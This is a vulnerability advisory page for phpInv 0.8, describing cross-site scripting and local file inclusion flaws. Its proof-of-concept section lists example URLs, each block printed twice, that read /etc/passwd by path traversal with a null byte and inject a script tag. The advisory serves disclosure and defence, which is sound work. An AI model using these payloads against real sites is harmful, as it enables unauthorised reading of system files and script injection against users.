phpInv Cross-Site Scripting and Local File Include Vulnerabilities
BID:29597
Info
phpInv Cross-Site Scripting and Local File Include Vulnerabilities
| Bugtraq ID: | 29597 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2695 CVE-2008-2694 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 08 2008 12:00AM |
| Updated: | Jul 06 2016 02:17PM |
| Credit: | CWH Underground |
| Vulnerable: |
phpInv phpInv 0.8 |
| Not Vulnerable: | |
Discussion
phpInv Cross-Site Scripting and Local File Include Vulnerabilities
phpInv is prone to a local file-include vulnerability and a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
The attacker may exploit the local file-include vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.
phpInv 0.8.0 is vulnerable; other versions may also be affected.
phpInv is prone to a local file-include vulnerability and a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.
An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
The attacker may exploit the local file-include vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.
phpInv 0.8.0 is vulnerable; other versions may also be affected.
Exploit / POC
phpInv Cross-Site Scripting and Local File Include Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../etc/passwd%00
http://www.example.com/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../phpinfo
http://www.example.com/phpinv/search.php?hash=19e9abf204087d0765f81c5bfb1a6fef&keyword=>"><script>alert(123);</script>&categoryid=1&action=Search
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../etc/passwd%00
http://www.example.com/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../phpinfo
http://www.example.com/phpinv/search.php?hash=19e9abf204087d0765f81c5bfb1a6fef&keyword=>"><script>alert(123);</script>&categoryid=1&action=Search
Solution / Fix
phpInv Cross-Site Scripting and Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
phpInv Cross-Site Scripting and Local File Include Vulnerabilities
References:
References:
- phpInv Homepage (phpInv)